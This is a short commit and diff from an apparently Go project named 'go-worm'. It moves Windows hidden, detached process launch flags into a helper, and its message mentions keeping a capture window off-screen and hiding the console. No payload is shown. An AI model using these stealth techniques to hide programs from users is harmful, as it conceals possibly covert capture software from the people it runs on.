fix(windows): prevent console window flash

- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script

lib/instance/launch_windows.go

@@ -5,9 +5,8 @@ package instance
 import (
 	"os"
 	"os/exec"
-	"syscall"
 
-	"golang.org/x/sys/windows"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
 // Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
@@ -23,12 +22,7 @@ func Launch(exe string, args []string) error {
 	cmd.Stdin = nul
 	cmd.Stdout = nul
 	cmd.Stderr = nul
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow: true,
-		CreationFlags: windows.CREATE_NO_WINDOW |
-			windows.CREATE_NEW_PROCESS_GROUP |
-			windows.DETACHED_PROCESS,
-	}
+	cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr()
 	if err := cmd.Start(); err != nil {
 		return err
 	}